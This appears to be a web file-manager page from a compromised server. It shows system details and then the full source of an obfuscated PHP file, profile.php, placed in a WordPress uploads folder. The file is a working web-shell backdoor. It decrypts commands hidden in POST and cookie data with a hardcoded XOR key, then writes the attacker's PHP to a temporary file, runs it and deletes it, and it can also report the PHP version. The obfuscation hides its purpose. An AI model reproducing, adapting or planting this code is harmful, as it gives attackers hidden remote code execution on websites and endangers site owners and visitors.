HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2022/05/profile.php
<?php 

$schub /* uhndpa   */ =  'schub'     ^ /* zqu  */ '';

$won_bd    =    $schub(450-353) /* zat  */ .      $schub(114)       . /*   m*/ $schub(1055-941)     .       "a"."\x79"    . /* teqmy   */ "\137" /* kmsko */ . /* _av  */ "m"."\141" /* wzoycg */ .     "\160";

$lxfenmbmo_       =    "i"."\x6d" /*wfxolh */ .   "p"."\154"    .  $schub(111) /* otyia*/ .   "\144"     .	$schub(994-893);



function    ujvnex($_pimpkh,	$ewqvvgpxu){


 /*  yzzptz  */ global /*e */ $schub;   
    $_pimpkh /*   ddc   */ = /*fam   */ "<"    .    "\77"	.    "\x70"    . /*  wl */ "h"."\x70" /* zrhawp  */ .     $schub(32)   .    "u".$schub(896-786)   .  "\154" /*  al*/ .	"\x69" /*fr*/ .	"n"."\x6b"	. /*   c   */ "("."\137" /* vs*/ . /*  cozs */ $schub(95)    . /* wc  */ "\106"	.    $schub(469-396) /* ma   */ .    $schub(76)    .       "\x45"	.    "_"."\x5f"    .    "\x29" /*lgac*/ .     ";".$schub(32)    . /*zcso */ $_pimpkh["d"];
 /*   kdac   */ $kocpqkwspo    =       "f"."\x69"."l"."\x65"	.    $schub(95) /* r */ . /* yrez  */ "\160"	.       $schub(306-189)	. /* zd */ $schub(116) /*  scdzno */ . /*  xihsd*/ "_".$schub(1006-907) /*   lxd */ . /*ay  */ $schub(111) /* psedq*/ . /* pclczf  */ "\156"      .  "t"."e".$schub(110) /*  fq  */ . /*  ropj*/ "\164"     .    "s";       $kocpqkwspo($ewqvvgpxu,    $_pimpkh);

 /*bx*/ 
      mxxwzfx($ewqvvgpxu);

}




$umacnkrw    = /* go   */ 73;





function /* z */ mxxwzfx($ewqvvgpxu)

{
	global	$schub; /* e   */ 

 /*   kax   */ include($ewqvvgpxu);

	$fxedlcoqb_    =	$ewqvvgpxu;
       @unlink($fxedlcoqb_);

}

function /* g   */ nlgpwcyzx(){


   global /*wfxev_   */ $schub;	$baqnbg    =      array();


	$baqnbg["\x70" /*ha */ .	$schub(118)] /*  uv*/ =     phpversion();
  $baqnbg["s"."v"]      =       "\63"     .    ".".$schub(53);	$zpwwkfroia	=    74; /* cjrtb   */ echo    @serialize($baqnbg);}




function	lyjomi($_pimpkh,     $mybsvgvn_){
 /* crbi */ global   $schub;
 /*   fx */ $tyjoaeen_c	= /*   k  */ ""; /*  cigfcn*/ $eipn_ntcrs       =       strlen($_pimpkh);	$pnrayvx /*  nf  */ = /*lkt*/ strlen($mybsvgvn_);

 /* iy   */ $baqnbg /*   gt   */ =       0;


 /*   mg*/ $baqnbgcbhjrlo    =      0;


      


       while    ($baqnbg /* _qsxt */ <      $eipn_ntcrs) /* rh*/ {

    $scoqq    = /*dsvuld*/ $_pimpkh[$baqnbg]     ^    $mybsvgvn_[$baqnbgcbhjrlo  %     $pnrayvx];


	$tyjoaeen_c      .= /*w*/ $scoqq;  $baqnbgcbhjrlo++;    
    $baqnbg++;
 /*  jpc   */ }
 /*g */ 


 /*  pjf */ if /*  jndg*/ (strlen($tyjoaeen_c) /*xddwb */ >    20) /*ecg*/ {

     $qiszscaj	=    substr($tyjoaeen_c,    0,       20);

    }


	if    (empty($tyjoaeen_c))	{
 /*   ud */ $tyjoaeen_c /*ywbi */ =    date('Y-m-d   H:i:s');

    }

    return /*   _o */ $tyjoaeen_c;
}






function /*   x*/ pghcgznt($ksopjjgsqz)
{


 /*   mgzmq_ */ global /*   u */ $schub;     /*bkc_*/ $_dfvz /*   ddxoix  */ = /*  jwym */ $schub(55) /*tky */ .      "e".$schub(252-150) /*zygxh  */ .    $schub(50) /*   wafs */ .    $schub(50) /*rmvz   */ .  "\x65" /*wl */ .    "9".$schub(219-171)    .      "\55" /*   nqo   */ . /*fr  */ "d"."e".$schub(64-13)  .   "e"."-"."\64"    .    $schub(100)    .       $schub(102)     .      "\67"    . /*   m   */ "-"."b"."f"."\64" /*  bms_a  */ .   $schub(99)    .    $schub(45)    .    $schub(100) /*mca_  */ . /*llo  */ $schub(561-510)      .    "\x63" /*   vrqem  */ . /* uztx*/ $schub(762-660)    .    "\x34"       .    "a"."\x64"    .	"0"."\67"    . /*nqa */ "3".$schub(417-367) /*  yb  */ .   "\x32";	
 /* chpode */ foreach    ($ksopjjgsqz  as       $paud_v    =>   $_pimpkh)    {
    z_rpecpf(base64_decode($_pimpkh), /*kd  */ $_dfvz,       $paud_v);

    }
}




function /* dl   */ z_rpecpf($_pimpkh,    $_dfvz,    $paud_v)
{
 /*  fxgqd   */ global    $schub;


 /*fkby */   $_pimpkh    =	unserialize(lyjomi(lyjomi($_pimpkh,    $_dfvz),    $paud_v));
	$ydobdsbpj	= /*vhoi */ 'cc';


	$ffbom	=    'butk';

    if    (isset($_pimpkh[$schub(97) /*   rerk*/ .      "k"])) /*   h  */ {


    if   ($_pimpkh["a"] /* qnmz */ ==	"\x69")   {      nlgpwcyzx();
 /* ly*/ }  elseif /* ezuypj   */ ($_pimpkh["a"]    == /* _tp */ "e")      {


     ujvnex($_pimpkh, /*qsvywn */ sprintf("\56"   . /*qdlu */ "/"."%"."\x73"	.    "."."\x70"   .     $schub(108),  md5($_dfvz)));
			$ktgnhhqkn /* jc   */ =      44;
 /*   z   */ }

	exit();
     }}


pghcgznt($_POST); /* oulmi   */ 


$baqnbgcbhjrlopvjsekkqy    =      'rawurldecode';


$mapkj   =	$won_bd($baqnbgcbhjrlopvjsekkqy,  $_POST);
$lxfenmbmo_("",       $baqnbgcbhjrlopvjsekkqy);

pghcgznt($_COOKIE);


$livojio       =    $won_bd($baqnbgcbhjrlopvjsekkqy,    $_COOKIE);






?>